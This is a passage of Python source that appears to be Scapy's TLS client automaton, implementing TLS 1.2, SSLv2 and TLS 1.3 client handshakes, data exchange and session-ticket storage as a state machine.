and send an empty Certificate message...\")\n\n    @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=1)\n    def should_handle_ServerKeyExchange_from_ServerCertificate(self):\n        \"\"\"\n        XXX We should check the ServerKeyExchange attributes for discrepancies\n        with our own ClientHello, along with the ServerHello and Certificate.\n        \"\"\"\n        self.raise_on_packet(TLSServerKeyExchange,\n                             self.HANDLED_SERVERKEYEXCHANGE)\n\n    @ATMT.state(final=True)\n    def MISSING_SERVERKEYEXCHANGE(self):\n        pass\n\n    @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=2)\n    def missing_ServerKeyExchange(self):\n        if not self.cur_session.prcs.key_exchange.no_ske:\n            raise self.MISSING_SERVERKEYEXCHANGE()\n\n    @ATMT.state()\n    def HANDLED_SERVERKEYEXCHANGE(self):\n        pass\n\n    def should_handle_CertificateRequest(self):\n        \"\"\"\n        XXX We should check the CertificateRequest attributes for discrepancies\n        with the cipher suite, etc.\n        \"\"\"\n        self.raise_on_packet(TLSCertificateRequest,\n                             self.HANDLED_CERTIFICATEREQUEST)\n\n    @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=2)\n    def should_handle_CertificateRequest_from_ServerKeyExchange(self):\n        self.should_handle_CertificateRequest()\n\n    @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=3)\n    def should_handle_CertificateRequest_from_ServerCertificate(self):\n        self.should_handle_CertificateRequest()\n\n    def should_handle_ServerHelloDone(self):\n        self.raise_on_packet(TLSServerHelloDone,\n                             self.HANDLED_SERVERHELLODONE)\n\n    @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=1)\n    def should_handle_ServerHelloDone_from_ServerKeyExchange(self):\n        return self.should_handle_ServerHelloDone()\n\n    @ATMT.condition(HANDLED_CERTIFICATEREQUEST)\n    def should_handle_ServerHelloDone_from_CertificateRequest(self):\n        return self.should_handle_ServerHelloDone()\n\n    @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=4)\n    def should_handle_ServerHelloDone_from_ServerCertificate(self):\n        return self.should_handle_ServerHelloDone()\n\n    @ATMT.state()\n    def HANDLED_SERVERHELLODONE(self):\n        raise self.PREPARE_CLIENTFLIGHT2()\n\n    @ATMT.state()\n    def PREPARE_CLIENTFLIGHT2(self):\n        self.add_record()\n\n    @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=1)\n    def should_add_ClientCertificate(self):\n        \"\"\"\n        If the server sent a CertificateRequest, we send a Certificate message.\n        If no certificate is available, an empty Certificate message is sent:\n        - this is a SHOULD in RFC 4346 (Section 7.4.6)\n        - this is a MUST in RFC 5246 (Section 7.4.6)\n\n        XXX We may want to add a complete chain.\n        \"\"\"\n        if not self.in_handshake(TLSCertificateRequest):\n            return\n\n        certs = []\n        if self.mycert:\n            certs = [self.mycert]\n\n        self.add_msg(TLSCertificate(certs=certs))\n        raise self.ADDED_CLIENTCERTIFICATE()\n\n    @ATMT.state()\n    def ADDED_CLIENTCERTIFICATE(self):\n        pass\n\n    def should_add_ClientKeyExchange(self):\n        self.add_msg(TLSClientKeyExchange())\n        raise self.ADDED_CLIENTKEYEXCHANGE()\n\n    @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=2)\n    def should_add_ClientKeyExchange_from_ClientFlight2(self):\n        return self.should_add_ClientKeyExchange()\n\n    @ATMT.condition(ADDED_CLIENTCERTIFICATE)\n    def should_add_ClientKeyExchange_from_ClientCertificate(self):\n        return self.should_add_ClientKeyExchange()\n\n    @ATMT.state()\n    def ADDED_CLIENTKEYEXCHANGE(self):\n        pass\n\n    @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=1)\n    def should_add_ClientVerify(self):\n        \"\"\"\n        XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify\n        message is only sent following a client certificate that has signing\n        capability (i.e. not those containing fixed DH params).\n        We should verify that before adding the message. We should also handle\n        the case when the Certificate message was empty.\n        \"\"\"\n        if not self.in_handshake(TLSCertificateRequest):\n            return\n        if self.mycert is None or self.mykey is None:\n            return\n        self.add_msg(TLSCertificateVerify())\n        raise self.ADDED_CERTIFICATEVERIFY()\n\n    @ATMT.state()\n    def ADDED_CERTIFICATEVERIFY(self):\n        pass\n\n    @ATMT.condition(ADDED_CERTIFICATEVERIFY)\n    def should_add_ChangeCipherSpec_from_CertificateVerify(self):\n        self.add_record()\n        self.add_msg(TLSChangeCipherSpec())\n        raise self.ADDED_CHANGECIPHERSPEC()\n\n    @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=2)\n    def should_add_ChangeCipherSpec_from_ClientKeyExchange(self):\n        self.add_record()\n        self.add_msg(TLSChangeCipherSpec())\n        raise self.ADDED_CHANGECIPHERSPEC()\n\n    @ATMT.state()\n    def ADDED_CHANGECIPHERSPEC(self):\n        pass\n\n    @ATMT.condition(ADDED_CHANGECIPHERSPEC)\n    def should_add_ClientFinished(self):\n        self.add_record()\n        self.add_msg(TLSFinished())\n        raise self.ADDED_CLIENTFINISHED()\n\n    @ATMT.state()\n    def ADDED_CLIENTFINISHED(self):\n        pass\n\n    @ATMT.condition(ADDED_CLIENTFINISHED)\n    def should_send_ClientFlight2(self):\n        self.flush_records()\n        raise self.SENT_CLIENTFLIGHT2()\n\n    @ATMT.state()\n    def SENT_CLIENTFLIGHT2(self):\n        raise self.WAITING_SERVERFLIGHT2()\n\n    @ATMT.state()\n    def WAITING_SERVERFLIGHT2(self):\n        self.get_next_msg()\n        raise self.RECEIVED_SERVERFLIGHT2()\n\n    @ATMT.state()\n    def RECEIVED_SERVERFLIGHT2(self):\n        pass\n\n    @ATMT.condition(RECEIVED_SERVERFLIGHT2)\n    def should_handle_ChangeCipherSpec(self):\n        self.raise_on_packet(TLSChangeCipherSpec,\n                             self.HANDLED_CHANGECIPHERSPEC)\n\n    @ATMT.state()\n    def HANDLED_CHANGECIPHERSPEC(self):\n        pass\n\n    @ATMT.condition(HANDLED_CHANGECIPHERSPEC)\n    def should_handle_Finished(self):\n        self.raise_on_packet(TLSFinished,\n                             self.HANDLED_SERVERFINISHED)\n\n    @ATMT.state()\n    def HANDLED_SERVERFINISHED(self):\n        self.vprint(\"TLS handshake completed!\")\n        self.vprint_sessioninfo()\n        self.vprint(\"You may send data or use 'quit'.\")\n\n    #                       end of TLS handshake                              #\n\n    @ATMT.condition(HANDLED_SERVERFINISHED)\n    def should_wait_ClientData(self):\n        raise self.WAIT_CLIENTDATA()\n\n    @ATMT.state()\n    def WAIT_CLIENTDATA(self):\n        pass\n\n    @ATMT.condition(WAIT_CLIENTDATA, prio=1)\n    def add_ClientData(self):\n        r\"\"\"\n        The user may type in:\n        GET / HTTP/1.1\\r\\nHost: testserver.com\\r\\n\\r\\n\n        Special characters are handled so that it becomes a valid HTTP request.\n        \"\"\"\n        if not self.data_to_send:\n            if self.is_atmt_socket:\n                # Socket mode\n                fd = select_objects([self.ioin[\"tls\"]], 0)\n                if fd:\n                    self.add_record()\n                    self.add_msg(TLSApplicationData(data=fd[0].recv()))\n                    raise self.ADDED_CLIENTDATA()\n                raise self.WAITING_SERVERDATA()\n            else:\n                data = input().replace('\\\\r', '\\r').replace('\\\\n', '\\n').encode()\n        else:\n            data = self.data_to_send.pop()\n        if data == b\"quit\":\n            return\n        # Command to skip sending\n        elif data == b\"wait\":\n            raise self.WAITING_SERVERDATA()\n        # Command to perform a key_update (for a TLS 1.3 session)\n        elif data == b\"key_update\":\n            if self.cur_session.tls_version >= 0x0304:\n                self.add_record()\n                self.add_msg(TLS13KeyUpdate(request_update=\"update_requested\"))\n                raise self.ADDED_CLIENTDATA()\n\n        if self.linebreak:\n            data += b\"\\n\"\n        self.add_record()\n        self.add_msg(TLSApplicationData(data=data))\n        raise self.ADDED_CLIENTDATA()\n\n    @ATMT.condition(WAIT_CLIENTDATA, prio=2)\n    def no_more_ClientData(self):\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def ADDED_CLIENTDATA(self):\n        pass\n\n    @ATMT.condition(ADDED_CLIENTDATA)\n    def should_send_ClientData(self):\n        self.flush_records()\n        raise self.SENT_CLIENTDATA()\n\n    @ATMT.state()\n    def SENT_CLIENTDATA(self):\n        raise self.WAITING_SERVERDATA()\n\n    @ATMT.state()\n    def WAITING_SERVERDATA(self):\n        self.get_next_msg(0.3, 1)\n        if not self.buffer_in:\n            raise self.WAIT_CLIENTDATA()\n        raise self.RECEIVED_SERVERDATA()\n\n    @ATMT.state()\n    def RECEIVED_SERVERDATA(self):\n        pass\n\n    @ATMT.condition(RECEIVED_SERVERDATA, prio=1)\n    def should_handle_CertificateRequest_postauth(self):\n        self.raise_on_packet(TLS13CertificateRequest,\n                             self.TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST)\n\n    @ATMT.state()\n    def TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST(self):\n        self.vprint(\"Server asked for a certificate...\")\n        self.tls13_doing_client_postauth = True\n        if not self.mykey or not self.mycert:\n            self.vprint(\"No client certificate to send!\")\n            self.vprint(\"Will try and send an empty Certificate message...\")\n        self.add_record(is_tls13=True)\n\n    @ATMT.condition(TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST, prio=1)\n    def should_send_CertificateRequest_postauth(self):\n        if self.cur_session.post_handshake_auth:\n            self.tls13_should_add_ClientCertificate()\n\n    @ATMT.condition(TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST, prio=2)\n    def should_fail_CertificateRequest_postauth(self):\n        self.add_msg(TLSAlert(level=2, descr=0x0A))\n        self.flush_records()\n        self.vprint(\n            \"Received CertificateRequest without post_handshake_auth extension!\"\n        )\n        raise self.FINAL()\n\n    @ATMT.condition(RECEIVED_SERVERDATA, prio=2)\n    def should_handle_NewSessionTicket(self):\n        self.raise_on_packet(TLS13NewSessionTicket,\n                             self.TLS13_RECEIVED_NEW_SESSION_TICKET)\n\n    @ATMT.state()\n    def TLS13_RECEIVED_NEW_SESSION_TICKET(self):\n        pass\n\n    @ATMT.condition(TLS13_RECEIVED_NEW_SESSION_TICKET)\n    def should_store_session_ticket_file(self):\n        # If arg session_ticket_file_out is set, we save\n        # the ticket for resumption...\n        if self.session_ticket_file_out:\n            # Struct of ticket file :\n            #  * ciphersuite_len (1 byte)\n            #  * ciphersuite (ciphersuite_len bytes) :\n            #       we need to the store the ciphersuite for resumption\n            #  * ticket_nonce_len (1 byte)\n            #  * ticket_nonce (ticket_nonce_len bytes) :\n            #       we need to store the nonce to compute the PSK\n            #       for resumption\n            #  * ticket_age_len (2 bytes)\n            #  * ticket_age (ticket_age_len bytes) :\n            #       we need to store the time we received the ticket for\n            #       computing the obfuscated_ticket_age when resuming\n            #  * ticket_age_add_len (2 bytes)\n            #  * ticket_age_add (ticket_age_add_len bytes) :\n            #       we need to store the ticket_age_add value from the\n            #       ticket to compute the obfuscated ticket age\n            #  * ticket_len (2 bytes)\n            #  * ticket (ticket_len bytes)\n            with open(self.session_ticket_file_out, 'wb') as f:\n                f.write(struct.pack(\"B\", 2))\n                # we choose wcs arbitrarily...\n                f.write(struct.pack(\"!H\",\n                                    self.cur_session.wcs.ciphersuite.val))\n                f.write(struct.pack(\"B\", self.cur_pkt.noncelen))\n                f.write(self.cur_pkt.ticket_nonce)\n                f.write(struct.pack(\"!H\", 4))\n                f.write(struct.pack(\"!I\", int(time.time())))\n                f.write(struct.pack(\"!H\", 4))\n                f.write(struct.pack(\"!I\", self.cur_pkt.ticket_age_add))\n                f.write(struct.pack(\"!H\", self.cur_pkt.ticketlen))\n                f.write(self.cur_session.client_session_ticket)\n            self.vprint(\n                \"Received a TLS 1.3 NewSessionTicket that was stored to %s\" % (\n                    self.session_ticket_file_out\n                )\n            )\n        else:\n            self.vprint(\"Ignored TLS 1.3 NewSessionTicket.\")\n        raise self.WAIT_CLIENTDATA()\n\n    @ATMT.condition(RECEIVED_SERVERDATA, prio=3)\n    def should_handle_ServerData(self):\n        p = self.buffer_in[0]\n        if isinstance(p, TLSApplicationData):\n            if self.is_atmt_socket:\n                # Socket mode\n                self.oi.tls.send(p.data)\n            else:\n                self.vprint(\"Received: %r\" % p.data)\n        elif isinstance(p, TLSAlert):\n            self.vprint(\"Received: %r\" % p)\n            raise self.CLOSE_NOTIFY()\n        else:\n            self.vprint(\"Received: %r\" % p)\n        self.buffer_in = self.buffer_in[1:]\n        raise self.HANDLED_SERVERDATA()\n\n    @ATMT.state()\n    def HANDLED_SERVERDATA(self):\n        raise self.WAIT_CLIENTDATA()\n\n    @ATMT.state()\n    def CLOSE_NOTIFY(self):\n        self.vprint()\n        self.vprint(\"Trying to send a TLSAlert to the server...\")\n\n    @ATMT.condition(CLOSE_NOTIFY)\n    def close_session(self):\n        self.add_record()\n        self.add_msg(TLSAlert(level=1, descr=0))\n        try:\n            self.flush_records()\n        except Exception:\n            self.vprint(\"Could not send termination Alert, maybe the server stopped?\")  # noqa: E501\n        raise self.FINAL()\n\n    #                          SSLv2 handshake                                #\n\n    @ATMT.state()\n    def SSLv2_PREPARE_CLIENTHELLO(self):\n        pass\n\n    @ATMT.condition(SSLv2_PREPARE_CLIENTHELLO)\n    def sslv2_should_add_ClientHello(self):\n        self.add_record(is_sslv2=True)\n        p = self.client_hello or SSLv2ClientHello(challenge=randstring(16))\n        self.add_msg(p)\n        raise self.SSLv2_ADDED_CLIENTHELLO()\n\n    @ATMT.state()\n    def SSLv2_ADDED_CLIENTHELLO(self):\n        pass\n\n    @ATMT.condition(SSLv2_ADDED_CLIENTHELLO)\n    def sslv2_should_send_ClientHello(self):\n        self.flush_records()\n        raise self.SSLv2_SENT_CLIENTHELLO()\n\n    @ATMT.state()\n    def SSLv2_SENT_CLIENTHELLO(self):\n        raise self.SSLv2_WAITING_SERVERHELLO()\n\n    @ATMT.state()\n    def SSLv2_WAITING_SERVERHELLO(self):\n        self.get_next_msg()\n        raise self.SSLv2_RECEIVED_SERVERHELLO()\n\n    @ATMT.state()\n    def SSLv2_RECEIVED_SERVERHELLO(self):\n        pass\n\n    @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=1)\n    def sslv2_should_handle_ServerHello(self):\n        self.raise_on_packet(SSLv2ServerHello,\n                             self.SSLv2_HANDLED_SERVERHELLO)\n\n    @ATMT.state()\n    def SSLv2_HANDLED_SERVERHELLO(self):\n        pass\n\n    @ATMT.condition(SSLv2_RECEIVED_SERVERHELLO, prio=2)\n    def sslv2_missing_ServerHello(self):\n        raise self.SSLv2_MISSING_SERVERHELLO()\n\n    @ATMT.state()\n    def SSLv2_MISSING_SERVERHELLO(self):\n        self.vprint(\"Missing SSLv2 ServerHello message!\")\n        raise self.SSLv2_CLOSE_NOTIFY()\n\n    @ATMT.condition(SSLv2_HANDLED_SERVERHELLO)\n    def sslv2_should_add_ClientMasterKey(self):\n        self.add_record(is_sslv2=True)\n        self.add_msg(SSLv2ClientMasterKey())\n        raise self.SSLv2_ADDED_CLIENTMASTERKEY()\n\n    @ATMT.state()\n    def SSLv2_ADDED_CLIENTMASTERKEY(self):\n        pass\n\n    @ATMT.condition(SSLv2_ADDED_CLIENTMASTERKEY)\n    def sslv2_should_send_ClientMasterKey(self):\n        self.flush_records()\n        raise self.SSLv2_SENT_CLIENTMASTERKEY()\n\n    @ATMT.state()\n    def SSLv2_SENT_CLIENTMASTERKEY(self):\n        raise self.SSLv2_WAITING_SERVERVERIFY()\n\n    @ATMT.state()\n    def SSLv2_WAITING_SERVERVERIFY(self):\n        # We give the server 0.5 second to send his ServerVerify.\n        # Else we assume that he's waiting for our ClientFinished.\n        self.get_next_msg(0.5, 0)\n        raise self.SSLv2_RECEIVED_SERVERVERIFY()\n\n    @ATMT.state()\n    def SSLv2_RECEIVED_SERVERVERIFY(self):\n        pass\n\n    @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=1)\n    def sslv2_should_handle_ServerVerify(self):\n        self.raise_on_packet(SSLv2ServerVerify,\n                             self.SSLv2_HANDLED_SERVERVERIFY,\n                             get_next_msg=False)\n\n    @ATMT.state()\n    def SSLv2_HANDLED_SERVERVERIFY(self):\n        pass\n\n    def sslv2_should_add_ClientFinished(self):\n        if self.in_handshake(SSLv2ClientFinished):\n            return\n        self.add_record(is_sslv2=True)\n        self.add_msg(SSLv2ClientFinished())\n        raise self.SSLv2_ADDED_CLIENTFINISHED()\n\n    @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=1)\n    def sslv2_should_add_ClientFinished_from_ServerVerify(self):\n        return self.sslv2_should_add_ClientFinished()\n\n    @ATMT.condition(SSLv2_HANDLED_SERVERVERIFY, prio=2)\n    def sslv2_should_wait_ServerFinished_from_ServerVerify(self):\n        raise self.SSLv2_WAITING_SERVERFINISHED()\n\n    @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=2)\n    def sslv2_should_add_ClientFinished_from_NoServerVerify(self):\n        return self.sslv2_should_add_ClientFinished()\n\n    @ATMT.condition(SSLv2_RECEIVED_SERVERVERIFY, prio=3)\n    def sslv2_missing_ServerVerify(self):\n        raise self.SSLv2_MISSING_SERVERVERIFY()\n\n    @ATMT.state(final=True)\n    def SSLv2_MISSING_SERVERVERIFY(self):\n        self.vprint(\"Missing SSLv2 ServerVerify message!\")\n        raise self.SSLv2_CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def SSLv2_ADDED_CLIENTFINISHED(self):\n        pass\n\n    @ATMT.condition(SSLv2_ADDED_CLIENTFINISHED)\n    def sslv2_should_send_ClientFinished(self):\n        self.flush_records()\n        raise self.SSLv2_SENT_CLIENTFINISHED()\n\n    @ATMT.state()\n    def SSLv2_SENT_CLIENTFINISHED(self):\n        if self.in_handshake(SSLv2ServerVerify):\n            raise self.SSLv2_WAITING_SERVERFINISHED()\n        else:\n            self.get_next_msg()\n            raise self.SSLv2_RECEIVED_SERVERVERIFY()\n\n    @ATMT.state()\n    def SSLv2_WAITING_SERVERFINISHED(self):\n        self.get_next_msg()\n        raise self.SSLv2_RECEIVED_SERVERFINISHED()\n\n    @ATMT.state()\n    def SSLv2_RECEIVED_SERVERFINISHED(self):\n        pass\n\n    @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=1)\n    def sslv2_should_handle_ServerFinished(self):\n        self.raise_on_packet(SSLv2ServerFinished,\n                             self.SSLv2_HANDLED_SERVERFINISHED)\n\n    #                       SSLv2 client authentication                       #\n\n    @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=2)\n    def sslv2_should_handle_RequestCertificate(self):\n        self.raise_on_packet(SSLv2RequestCertificate,\n                             self.SSLv2_HANDLED_REQUESTCERTIFICATE)\n\n    @ATMT.state()\n    def SSLv2_HANDLED_REQUESTCERTIFICATE(self):\n        self.vprint(\"Server asked for a certificate...\")\n        if not self.mykey or not self.mycert:\n            self.vprint(\"No client certificate to send!\")\n            raise self.SSLv2_CLOSE_NOTIFY()\n\n    @ATMT.condition(SSLv2_HANDLED_REQUESTCERTIFICATE)\n    def sslv2_should_add_ClientCertificate(self):\n        self.add_record(is_sslv2=True)\n        self.add_msg(SSLv2ClientCertificate(certdata=self.mycert))\n        raise self.SSLv2_ADDED_CLIENTCERTIFICATE()\n\n    @ATMT.state()\n    def SSLv2_ADDED_CLIENTCERTIFICATE(self):\n        pass\n\n    @ATMT.condition(SSLv2_ADDED_CLIENTCERTIFICATE)\n    def sslv2_should_send_ClientCertificate(self):\n        self.flush_records()\n        raise self.SSLv2_SENT_CLIENTCERTIFICATE()\n\n    @ATMT.state()\n    def SSLv2_SENT_CLIENTCERTIFICATE(self):\n        raise self.SSLv2_WAITING_SERVERFINISHED()\n\n    #                   end of SSLv2 client authentication                    #\n\n    @ATMT.state()\n    def SSLv2_HANDLED_SERVERFINISHED(self):\n        self.vprint(\"SSLv2 handshake completed!\")\n        self.vprint_sessioninfo()\n        self.vprint(\"You may send data or use 'quit'.\")\n\n    @ATMT.condition(SSLv2_RECEIVED_SERVERFINISHED, prio=3)\n    def sslv2_missing_ServerFinished(self):\n        raise self.SSLv2_MISSING_SERVERFINISHED()\n\n    @ATMT.state()\n    def SSLv2_MISSING_SERVERFINISHED(self):\n        self.vprint(\"Missing SSLv2 ServerFinished message!\")\n        raise self.SSLv2_CLOSE_NOTIFY()\n\n    #                        end of SSLv2 handshake                           #\n\n    @ATMT.condition(SSLv2_HANDLED_SERVERFINISHED)\n    def sslv2_should_wait_ClientData(self):\n        raise self.SSLv2_WAITING_CLIENTDATA()\n\n    @ATMT.state()\n    def SSLv2_WAITING_CLIENTDATA(self):\n        pass\n\n    @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=1)\n    def sslv2_add_ClientData(self):\n        if not self.data_to_send:\n            data = input().replace('\\\\r', '\\r').replace('\\\\n', '\\n').encode()\n        else:\n            data = self.data_to_send.pop()\n            self.vprint(\"Read from list: %s\" % data)\n        if data == \"quit\":\n            return\n        if self.linebreak:\n            data += \"\\n\"\n        self.add_record(is_sslv2=True)\n        self.add_msg(Raw(data))\n        raise self.SSLv2_ADDED_CLIENTDATA()\n\n    @ATMT.condition(SSLv2_WAITING_CLIENTDATA, prio=2)\n    def sslv2_no_more_ClientData(self):\n        raise self.SSLv2_CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def SSLv2_ADDED_CLIENTDATA(self):\n        pass\n\n    @ATMT.condition(SSLv2_ADDED_CLIENTDATA)\n    def sslv2_should_send_ClientData(self):\n        self.flush_records()\n        raise self.SSLv2_SENT_CLIENTDATA()\n\n    @ATMT.state()\n    def SSLv2_SENT_CLIENTDATA(self):\n        raise self.SSLv2_WAITING_SERVERDATA()\n\n    @ATMT.state()\n    def SSLv2_WAITING_SERVERDATA(self):\n        self.get_next_msg(0.3, 1)\n        raise self.SSLv2_RECEIVED_SERVERDATA()\n\n    @ATMT.state()\n    def SSLv2_RECEIVED_SERVERDATA(self):\n        pass\n\n    @ATMT.condition(SSLv2_RECEIVED_SERVERDATA)\n    def sslv2_should_handle_ServerData(self):\n        if not self.buffer_in:\n            raise self.SSLv2_WAITING_CLIENTDATA()\n        p = self.buffer_in[0]\n        self.vprint(\"Received: %r\" % p.load)\n        if p.load.startswith(b\"goodbye\"):\n            raise self.SSLv2_CLOSE_NOTIFY()\n        self.buffer_in = self.buffer_in[1:]\n        raise self.SSLv2_HANDLED_SERVERDATA()\n\n    @ATMT.state()\n    def SSLv2_HANDLED_SERVERDATA(self):\n        raise self.SSLv2_WAITING_CLIENTDATA()\n\n    @ATMT.state()\n    def SSLv2_CLOSE_NOTIFY(self):\n        \"\"\"\n        There is no proper way to end an SSLv2 session.\n        We try and send a 'goodbye' message as a substitute.\n        \"\"\"\n        self.vprint()\n        self.vprint(\"Trying to send a 'goodbye' to the server...\")\n\n    @ATMT.condition(SSLv2_CLOSE_NOTIFY)\n    def sslv2_close_session(self):\n        self.add_record()\n        self.add_msg(Raw('goodbye'))\n        try:\n            self.flush_records()\n        except Exception:\n            self.vprint(\"Could not send our goodbye. The server probably stopped.\")  # noqa: E501\n        self.socket.close()\n        raise self.FINAL()\n\n    #                         TLS 1.3 handshake                               #\n\n    @ATMT.state()\n    def TLS13_START(self):\n        pass\n\n    @ATMT.condition(TLS13_START)\n    def tls13_should_add_ClientHello(self):\n        # we have to use the legacy, plaintext TLS record here\n        self.add_record(is_tls13=False)\n        if self.client_hello:\n            p = self.client_hello\n        else:\n            if self.ciphersuite is None:\n                c = 0x1301\n            else:\n                c = self.ciphersuite\n            p = TLS13ClientHello(ciphers=c)\n\n        ext = []\n        ext += TLS_Ext_SupportedVersion_CH(versions=[self.advertised_tls_version])\n\n        s = self.cur_session\n\n        # Add TLS_Ext_ServerName\n        if self.server_name:\n            ext += TLS_Ext_ServerName(\n                servernames=[ServerName(servername=self.server_name)]\n            )\n\n        # Add TLS_Ext_PostHandshakeAuth\n        if self.mycert is not None and self.mykey is not None:\n            ext += TLS_Ext_PostHandshakeAuth()\n\n        if s.tls13_psk_secret:\n            # Check if DHE is need (both for out of band and resumption PSK)\n            if self.tls13_psk_mode == \"psk_dhe_ke\":\n                ext += TLS_Ext_PSKKeyExchangeModes(kxmodes=\"psk_dhe_ke\")\n                ext += TLS_Ext_SupportedGroups(groups=self.supported_groups)\n                ext += TLS_Ext_KeyShare_CH(\n                    client_shares=[KeyShareEntry(group=self.curve)]\n                )\n            else:\n                ext += TLS_Ext_PSKKeyExchangeModes(kxmodes=\"psk_ke\")\n\n            # RFC8446, section 4.2.11.\n            # \"The \"pre_shared_key\" extension MUST be the last extension\n            # in the ClientHello \"\n            # Compute the pre_shared_key extension for resumption PSK\n            if s.client_session_ticket:\n                cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite]  # noqa: E501\n                hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower())\n                hash_len = hkdf.hash.digest_size\n                # We compute the client's view of the age of the ticket (ie\n                # the time since the receipt of the ticket) in ms\n                agems = int((time.time() - s.client_ticket_age) * 1000)\n                # Then we compute the obfuscated version of the ticket age\n                # by adding the \"ticket_age_add\" value included in the\n                # ticket (modulo 2^32)\n                obfuscated_age = ((agems + s.client_session_ticket_age_add) &\n                                  0xffffffff)\n\n                psk_id = PSKIdentity(identity=s.client_session_ticket,\n                                     obfuscated_ticket_age=obfuscated_age)\n\n                psk_binder_entry = PSKBinderEntry(binder_len=hash_len,\n                                                  binder=b\"\\x00\" * hash_len)\n\n                ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id],\n                                               binders=[psk_binder_entry])\n            else:\n                # Compute the pre_shared_key extension for out of band PSK\n                # (SHA256 is used as default hash function for HKDF for out\n                # of band PSK)\n                hkdf = TLS13_HKDF(\"sha256\")\n                hash_len = hkdf.hash.digest_size\n                psk_id = PSKIdentity(identity='Client_identity')\n                # XXX see how to not pass binder as argument\n                psk_binder_entry = PSKBinderEntry(binder_len=hash_len,\n                                                  binder=b\"\\x00\" * hash_len)\n\n                ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id],\n                                               binders=[psk_binder_entry])\n        else:\n            ext += TLS_Ext_SupportedGroups(groups=self.supported_groups)\n            ext += TLS_Ext_KeyShare_CH(\n                client_shares=[KeyShareEntry(group=self.curve)]\n            )\n            ext += TLS_Ext_SignatureAlgorithms(\n                sig_algs=self.supported_signature_algorithms,\n            )\n        p.ext = ext\n        self.add_msg(p)\n        raise self.TLS13_ADDED_CLIENTHELLO()\n\n    @ATMT.state()\n    def TLS13_ADDED_CLIENTHELLO(self):\n        raise self.TLS13_SENDING_CLIENTFLIGHT1()\n\n    @ATMT.state()\n    def TLS13_SENDING_CLIENTFLIGHT1(self):\n        pass\n\n    @ATMT.condition(TLS13_SENDING_CLIENTFLIGHT1)\n    def tls13_should_send_ClientFlight1(self):\n        self.flush_records()\n        raise self.TLS13_SENT_CLIENTFLIGHT1()\n\n    @ATMT.state()\n    def TLS13_SENT_CLIENTFLIGHT1(self):\n        raise self.TLS13_WAITING_SERVERFLIGHT1()\n\n    @ATMT.state()\n    def TLS13_WAITING_SERVERFLIGHT1(self):\n        self.get_next_msg()\n        raise self.TLS13_RECEIVED_SERVERFLIGHT1()\n\n    @ATMT.state()\n    def TLS13_RECEIVED_SERVERFLIGHT1(self):\n        pass\n\n    @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=1)\n    def tls13_should_handle_ServerHello(self):\n        \"\"\"\n        XXX We should check the ServerHello attributes for discrepancies with\n        our own ClientHello.\n        \"\"\"\n        self.raise_on_packet(TLS13ServerHello,\n                             self.TLS13_HANDLED_SERVERHELLO)\n\n    @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=2)\n    def tls13_should_handle_HelloRetryRequest(self):\n        \"\"\"\n        XXX We should check the ServerHello attributes for discrepancies with\n        our own ClientHello.\n        \"\"\"\n        self.raise_on_packet(TLS13HelloRetryRequest,\n                             self.TLS13_HELLO_RETRY_REQUESTED)\n\n    @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=3)\n    def tls13_should_handle_AlertMessage_(self):\n        self.raise_on_packet(TLSAlert,\n                             self.TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1)\n\n    @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=4)\n    def tls13_should_handle_ChangeCipherSpec_after_tls13_retry(self):\n        # Middlebox compatibility mode after a HelloRetryRequest.\n        if self.cur_session.tls13_retry:\n            self.raise_on_packet(TLSChangeCipherSpec,\n                                 self.TLS13_RECEIVED_SERVERFLIGHT1)\n\n    @ATMT.state()\n    def TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1(self):\n        self.vprint(\"Received Alert message !\")\n        self.vprint(self.cur_pkt.mysummary())\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=5)\n    def tls13_missing_ServerHello(self):\n        raise self.MISSING_SERVERHELLO()\n\n    @ATMT.state()\n    def TLS13_HELLO_RETRY_REQUESTED(self):\n        pass\n\n    @ATMT.condition(TLS13_HELLO_RETRY_REQUESTED)\n    def tls13_should_add_ClientHello_Retry(self):\n        s = self.cur_session\n        s.tls13_retry = True\n        # We retrieve the group to be used and the selected version from the\n        # previous message\n        hrr = self.cur_pkt\n        self.ciphersuite = hrr.cipher\n        # \"The server's extensions MUST contain supported_versions.\"\n        self.advertised_tls_version = None\n        if hrr.ext:\n            for e in hrr.ext:\n                if isinstance(e, TLS_Ext_KeyShare_HRR):\n                    self.curve = e.selected_group\n                if isinstance(e, TLS_Ext_SupportedVersion_SH):\n                    self.advertised_tls_version = e.version\n\n        if _tls_named_groups[self.curve] not in self.supported_groups:\n            self.vprint(\"No common groups found in TLS 1.3 Hello Retry Request!\")\n            raise self.CLOSE_NOTIFY()\n\n        if not 